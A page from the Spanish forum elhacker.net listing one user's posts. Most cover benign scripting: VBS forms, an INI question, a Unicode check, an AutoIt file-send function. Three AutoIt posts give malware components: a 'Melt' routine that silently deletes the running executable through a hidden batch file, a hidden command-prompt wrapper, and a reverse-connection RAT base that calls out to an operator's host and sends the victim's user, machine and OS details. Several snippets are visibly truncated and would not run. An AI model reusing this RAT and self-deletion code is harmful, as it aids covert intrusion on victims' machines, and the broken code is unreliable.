elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Temas
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13
11  Programación / Scripting / [IMPRESIONANTE] Crear Formularios en VBS! en: 20 Marzo 2014, 14:49 pm
HOLA!!!

Esta herramienta la tengo hace tiempo, gracias a Jim Warrington el creador de los siguientes OCX que permiten a VBS crear y utilizar Formularios!

Empiezo con el "Tutorial" o "Demostracion":


1ro. Descargamos los OCX:

VBS_OCX_FORMS.rar
La contraseña del Rar es "by79137913"

2do. Colocamos los 3 archivos en System32:
Las rutas completas en mi caso serian:
Citar
C:\WINDOWS\system32\wshLWF_FormDesigner.ocx
C:\WINDOWS\system32\wshLWForm.ocx
C:\WINDOWS\system32\wshLtWtForm.ocx


3ro. Registramos los OCX:


Lo hacen con Inicio->Ejecutar-> Y escriben "RegSvr32 " La ruta de los OCX.

4to. Creamos el siquiente .VBS :
Nombre del Archivo: FormDesigner.VBS
Código
  1. Dim oLWFD 'as  object
  2. Dim bCloseClick 'as boolean
  3.  Set oLWFD = WScript.CreateObject("wshLWF_FormDesigner.ucLWFD", "oLWFD_")
  4.  oLWFD.DesignForm()
  5.  bCloseClick = False
  6.  Do
  7.    WScript.Sleep 200
  8.  Loop Until bCloseClick
  9. Set oLWFD = nothing  ' clean up
  10. WScript.Quit
  11. Sub oLWFD_frmCloseClick()
  12.  MsgBox ("Saliendo del Programa, gracias por testear." & CHR(10) & CHR(13) & "By 79137913")
  13.  bCloseClick = True
  14. End Sub


5to. Guardamos y ejecutamos el Script:

Listo, ya tienen funcionando su Editor de Formularios para VBS!



6to. Datos Extra:

Ahora diseñan el Form que quieran y luego solo tienen que apretar ShowCode para que les genere el codigo del formulario!. Si quieren pueden apretar Test para ver como quedaria (yo recomiendo que no lo presionen por que a veces Crashea)


7mo. Ejemplos:


Si, tambien tengo ejemplos...
Pero no son ejemplos cualquiera... son los Originales que Jim Warrington dejo cuando creo esta herramienta, una obra de arte.
VBSFORMGEN_DemoScripts.rar
La contraseña del Rar es "by79137913"

GRACIAS POR LEER!!!
12  Programación / Programación Visual Basic / Voten para traer de nuevo a VB6!!! en: 14 Febrero 2014, 17:44 pm
HOLA!!!

Hay una peticion formal en microsoft para que rehagan VB6 y le den soporte en w8.

Por favor voten.

Se vota en este lugar:


http://visualstudio.uservoice.com/forums/121579-visual-studio/suggestions/3440221-bring-back-classic-visual-basic-an-improved-versi



GRACIAS POR LEER!!!
13  Programación / Desarrollo Web / Sistema de cupones / vouchers imprimibles. en: 30 Enero 2014, 18:17 pm
HOLA!!!

Como andan, quisiera saber si alguno conoce un sistema simple para impresion de cupones y vouchers.

El sistema deberia ser simple del lado del usuario:
Código:
Combobox Cupon  :[Cupon1/Cupon2/...]

Campo Nombre y A:[ Francisco Perez ]
Campo Documento :[    1234567890   ]

Boton Imprimir  :[    IMPRIMIR!    ]

Del lado de la web solo deberia guardar un registro de a quien se le dan los cupones (nombre, apellido y documento), ademas si se puede limitar la cantidad de cupones diarios.
Y para seleccionar la imagen de fondo de cada cupon.

Eso seria lo que ando buscando, si saben de algun script simple que lo haga me dicen?

GRACIAS POR LEER!!!
14  Programación / Desarrollo Web / Archivo INI en HTML5 en: 28 Enero 2014, 12:31 pm
HOLA!!!

El tema es el siguiente:
Quisiera armar un archivo ini para la pagina que estoy armando, para poder editar el mismo en vez de editar el html en si comprenden?

Ejemplo:
Html de mi web:
Código
  1. <title>LoadFromIni("Titulo")</title>

Y en el ini:
Código:
Titulo="Titulo de mi web"

Entonces cuando se muestre el titulo de la web dira:
"Titulo de mi web"

Espero haber sido claro.

Muchas Gracias

GRACIAS POR LEER!!!
15  Foros Generales / Sugerencias y dudas sobre el Foro / NO funciona Alt S y Alt P en los posts en: 13 Diciembre 2013, 15:47 pm
HOLA!!!

Creo que deberian arreglar el tema ese quitando la leyenda que dice "teclas método abreviado (sólo IE y Mozilla): presiona alt+s para enviar formulario/publicar o alt+p para previsualizar" o haciendola funcionar.

GRACIAS POR LEER!!!
16  Programación / Scripting / [FUNCION] Autoit TCP File Send en: 10 Diciembre 2013, 15:02 pm
HOLA!!!

Tuve muchos problemas para recibir datos binarios enviados con autoit, por eso cree esta funcion, a la cual se le pasa un socket conectado, el path del archivo a enviar y el tamaño del bufer de salida.

Nota: Esta funcion no notifica al otro lado cuando inicia o termina un archivo, aunque al terminar su ejecucion el archivo ha sido enviado correctamente por lo que pueden enviar un identificacador de inicio antes de llamar a la funcion y otro despues.

Código
  1. Func _TCPFileSend($sock, $File, $MaxLen) ;Envia datos binarios desde archivo.
  2. Local $BytesRead = 0
  3. $FileHandle = FileOpen($File, 16)
  4. $Data = FileRead($FileHandle, $MaxLen)
  5. $BytesRead += TCPSend($sock, $Data)
  6. FileClose($FileHandle)
  7. Return SetError(0, 0, 1)
  8. EndFunc   ;==>_TCPFileSend

GRACIAS POR LEER!!!
17  Programación / Scripting / [FUNCION] Autoit MELT en: 10 Diciembre 2013, 14:57 pm
HOLA!!!

Melt, el famoso "KillingMeSoftly" aplicado para generar una autodestruccion efectiva.

Código
  1. Func _Melt() ;Elimina el ejecutable que esta corriendo.
  2. Local $sCmdFile
  3. FileDelete(@TempDir & "\scratch.bat")
  4. $sCmdFile = 'ping -n ' & 15 & '127.0.0.1 > nul' & @CRLF _
  5. & ':loop' & @CRLF _
  6. & 'del "' & @AutoItExe & '"' & @CRLF _
  7. & 'if exist "' & @AutoItExe & '" goto loop' & @CRLF _
  8. & 'del ' & @TempDir & '\scratch.bat'
  9. FileWrite(@TempDir & "\scratch.bat", $sCmdFile)
  10. Run(@TempDir & "\scratch.bat", @TempDir, @SW_HIDE)
  11. EndFunc   ;==>_Melt

GRACIAS POR LEER!!!
18  Programación / Scripting / [FUNCION] Autoit CMD Prompt en: 2 Diciembre 2013, 15:32 pm
HOLA!!!

Jugando con autoit cree esta pequeña suite de funciones para trabajar con CMD:
Código
  1. ;Creado por 79137913
  2. Global $cmdpid
  3. Global $cmdresponse
  4.  
  5. ;~ _iniciarCMD()
  6. ;~ _sendCMDCommand("ping 127.0.0.1",2)
  7. ;~ MsgBox(0,"",$cmdresponse)
  8. ;~ _sendCMDCommand("cd ..",1)
  9. ;~ MsgBox(0,"",$cmdresponse)
  10. ;~ _sendCMDCommand("cd ..",1)
  11. ;~ MsgBox(0,"",$cmdresponse)
  12. ;~ _CerrarCMD()
  13. func _SendCMDCommand($command,$timeoutlimit);Envia un comando CMD y devuelve la respuesta, timeout es en segundos
  14.    StdinWrite($cmdpid,$command)
  15.    StdinWrite($cmdpid,@CRLF)
  16. ;StdinWrite($cmdpid)
  17.    Local $data
  18. Local $response
  19. Local $timeout
  20. $data = ""
  21.    While True
  22.    sleep(100)
  23.        $data &= StdoutRead($cmdpid)
  24.        If $data <> "" Then
  25. $response=$response & $data
  26. $data=""
  27. $timeout=0
  28. $timeout=$timeout+1
  29. if $timeout=$timeoutlimit*10 then ExitLoop
  30.    WEnd
  31.    $cmdresponse = $response
  32. func _CerrarCMD();Cerrar CMD
  33.   StdinWrite($cmdpid)
  34. Func _IniciarCMD();Inicializar CMD
  35.    $cmdpid = Run("C:\Windows\system32\cmd.exe",@SystemDir, @SW_HIDE, $STDIN_CHILD + $STDOUT_CHILD)

GRACIAS POR LEER!!!
19  Programación / Scripting / [RAT] Lo basico para empezar un RAT en AUTOIT en: 2 Diciembre 2013, 15:30 pm
HOLA!!!

Estuve Jugando un poco con Autoit los ultimos dias.

Este es un ejemplo que hice de Base para RAT de conexión inversa (codigo del Server)


Código
  1. #include <Array.au3>
  2. Global $Socket
  3. Global $Recibe
  4. While 1 ;Reconeccion
  5.   _Conectar()
  6.   TCPSend ($Socket,"Hola")
  7.   While 1 ; Recibir y ejecutar
  8.  $Recibe =""
  9.  While $Recibe = ""
  10. $Recibe=TCPRecv($Socket,10000000)
  11. Sleep (100)
  12.  WEnd
  13.  $Dat = StringSplit($Recibe,"|||")
  14.  case $Dat[1] = "GiveMeData"
  15. TCPSend ($Socket,"MYDATA|||" & @UserName & "|||" & @ComputerName & "|||" & @OSVersion)
  16.   WEnd
  17.  
  18. Func _Conectar()
  19.  sleep (10)
  20.   WEnd
  21.  $Socket=TCPConnect ($IP,$PORT)
  22.  If $Socket>0 Then
  23.  Sleep(1000)
  24.   WEnd  

GRACIAS POR LEER!!!
20  Programación / Programación Visual Basic / [FUNCION] IsUnicode (Determina si una cadena contiene caracteres unicode o no) en: 18 Noviembre 2013, 14:13 pm
HOLA!!!

En fin esta funcion lo que hace es determinar si una cadena contiene caracteres unicode (si contiene unicode envia true sino false)

Ustedes diran... para que sirve esto, bueno, resulta que hay apis que solo soportan entrada ascii, entonces conesto prevenimos crasheos, en el ejemplo que arme hay un archivo con nombre de fichero unicode (un caracter RLO 202E).

Código
  1. Private Function IsUnicode(expression As String) As String
  2. 'by 79137913
  3.    Dim b() As Byte 'Se crea un array de bytes para almacenar el string
  4.    Dim Aux As String 'se usara para comparar
  5.    b = expression 'se usa un evil type convert para obtener todos los ascii de los caracteres de la expresion en las posiciones del array
  6.    For x = 0 To UBound(b) Step 2
  7.        Aux = Aux & Chr(b(x)) 'reconstruimos la expresion
  8.    Next
  9.    IsUnicode = (expression <> Aux) 'asignamos a IsUnicode el resultado de la comparacion
  10.    'Si expression es = a aux dara Falso por que expression es totalmente Ascii, sino dara Verdadero por que contiene algun caracter Unicode.
  11. End Function

El ejemplo lo descargan de aca:
http://www.mediafire.com/download/76yuudmsnnoykau/IsUnicode.rar

GRACIAS POR LEER!!!
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines